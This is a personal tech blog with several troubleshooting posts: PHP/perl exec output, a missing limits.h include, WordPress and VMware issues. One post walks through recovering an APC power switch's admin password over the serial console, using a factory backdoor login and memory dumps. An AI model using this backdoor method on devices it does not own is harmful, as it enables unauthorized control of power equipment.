bosconet.org: chocolately writings

Yesterday in writing some PHP to put a pretty web based front end on a perl script I ran into a problem, no output was being returned from the perl script.

I tried all the PHP commands for calling external commands ( exec(), system(), passthru(), and shell_exec() ) and all failed to return output.

What was VERY frustrating was that I was effectively reusing some code that called a different perl script and returned output without any problems. All my various google searches were fruitless as none of them provided me with any solutions or ideas as to how to solve my problem. So I was left to my own devices to figure things out.

Ater much trial and error I discovered that if I displayed the script’s help text (which exits immediately after that) the exec call worked as expected. That lead me to the root cause of my problem. When I was using this script straight from the command like I opened a log file and appended some information to it as the script executed. Perhaps that was the cause….. Not wanting to loose that functionality I first explicitly made sure all my output was being directed to STDOUT. That did not help. Next I removed all instances to printing to the logfile. That also didn’t help. It was only when I removed the open() statement that the erl script began returning information to PHP as I expected.

In trying to compile an email testing tool on Fedora 11 I ran into error while make was compiling one of the programs.
I kept getting the error:

‘UCHAR_MAX’ undeclared (first use in this function)


While a googling of this error message did return a lot of results none of them had much useful content for actually solving it. There was a hint in one post on page 2 of my google results that helped me craft the right query to find the answer.

As it turn out UCHAR_MAX is declared in limits.h which for this particular program was not being included. Once that was added the program compiled with no complaints.

This morning after being frustrated with getting a USB drive to function properly on linux machine I turned my attention to breaking into an APC Power Switch I had acquired but didn’t have the opportunity to do a reset and recover before I had to install it. This would be simple if I could reset the switch during a reboot, unfortunately in doing this I would reboot several servers that needed to stay up and available.

So I went searching a bit and found that this APC Power Switch is vulnerable to a local attack that would allow you to find what the current administrative user account is defined as as well as the current password associated with that account. The vulnerability was in a different, more recent, version of the software currently being run by the device. I was hopeful that my older version would also be vulnerable.

The first step is to connect to the serial port on the device using a standard null modem cable running at 2400baud 8-N-1. Once you get a User Name : prompt enter apc and the password: TENmanUFactOryPOWER

This will drop you to the Factory Menu that will look like this:

User Name : apc
Password  : *******************

Factory Menu
<ctrl -A> to exit

1AP9606
2WA0033002610
310
408/08/2000
500 C0 B7 63 FA F1
6v2.5.3
7A
8A
9198.180.62.87
A255.255.255.240
B198.180.62.81
C
D
E
F
G

The instruction I found indicated at this point to enter 13 which will drop you to this prompt:

Selection> 13

Enter byte address in Hex(XXXX):

The instructions further indicated that the address to view taht would contain the information was: 1d10. However in my version of the software this is what I saw:

Enter byte address in Hex(XXXX): 1d10

1D10   FF FF FF FF FF FF FF FF  ........
1D18   FF FF FF FF FF FF FF FF  ........
1D20   FF FF FF FF FF FF FF FF  ........
1D28   FF FF FF FF FF FF FF FF  ........
1D30   FF FF FF FF FF FF FF FF  ........
1D38   FF FF FF FF FF FF FF FF  ........
1D40   FF FF FF FF FF FF FF FF  ........
1D48   FF FF FF FF FF FF FF FF  ........
1D50   FF FF FF FF FF FF FF FF  ........
1D58   FF FF FF FF FF FF FF FF  ........
1D60   FF FF FF FF FF FF FF FF  ........
1D68   FF FF FF FF FF FF FF FF  ........
1D70   FF FF FF FF FF FF FF FF  ........
1D78   FF FF FF FF FF FF FF FF  ........
1D80   FF FF FF FF FF FF FF FF  ........
1D88   FF FF FF FF FF FF FF FF  ........

<sp>nxt,b-bck,p-pch,other-exit

Obviously there is no useful information there. So I started to systematically tr other address locations to see if the information I was seeking was someplace else. After about 5 minutes of trial and error I found the information I was seeking at 1c2:

Enter byte address in Hex(XXXX): 1c2

01C2   FF FF FF FF FF FF FF FF  ........
01CA   FF FF FF FF FF FF FF 50  .......P
01D2   46 61 64 6D 69 6E 00 64  Fadmin.d
01DA   6D 69 6E 00 68 69 68 61  min.hiha
01E2   74 31 31 00 00 00 FF 64  t11....d
01EA   65 76 69 63 65 00 FF FF  evice...
01F2   FF FF 61 70 63 00 FF FF  ..apc...
01FA   FF FF FF FF FF 72 6F 62  .....rob
0202   68 61 72 72 69 73 68 61  harrisha
020A   73 61 62 61 62 79 00 FF  sababy..
0212   FF FF FF FF FF FF FF FF  ........
021A   FF FF FF FF FF FF 64 65  ......de
0222   76 69 63 65 20 75 73 65  vice use
022A   72 20 70 68 72 61 73 65  r phrase
0232   00 FF FF FF FF FF FF FF  ........
023A   FF FF FF FF FF FF FF 00  ........

<sp>nxt,b-bck,p-pch,other-exit

In case you don’t see it the userid is admin and the password is hihat11

After gaining that information I was able to easily login, and reset the password to something I will easily remember as well as configuring the network interface to enable web management of the device.

I finally bothered to upgrade to Wordpress 2.7 tonight. It took a little longer than I would have liked but that is because of the various plug-ins I have installed, several needed upgrading which took some additional time. But now I’m up to date.

For the past few days at work I’ve been banging my head against my desk because I can’t see to get VMWare Server 2.0 to remember virtual machines after a reboot.

I tried many things including creating new directories and setting the permissions on them to 777 (accessible to all). None of those things helped. Then it dawned on me….maybe it was something else….

The what else was the file system I am using is a software RAID 5 array mounted to /export. This file system isn’t mounted until last in the boot process, after vmware started. Perhaps that was the problem. And after a restart of the vmware process it did indeed turn out to be the problem.

My quick and dirty solution is to restart the vmware service immediately after I mount /export.

This also indicates VMware does not dynamically read a data store but only once on boot and then just adds to it if you create a new Virtual Machine. Given my experience this doesn’t seem to be an ideal way to do this.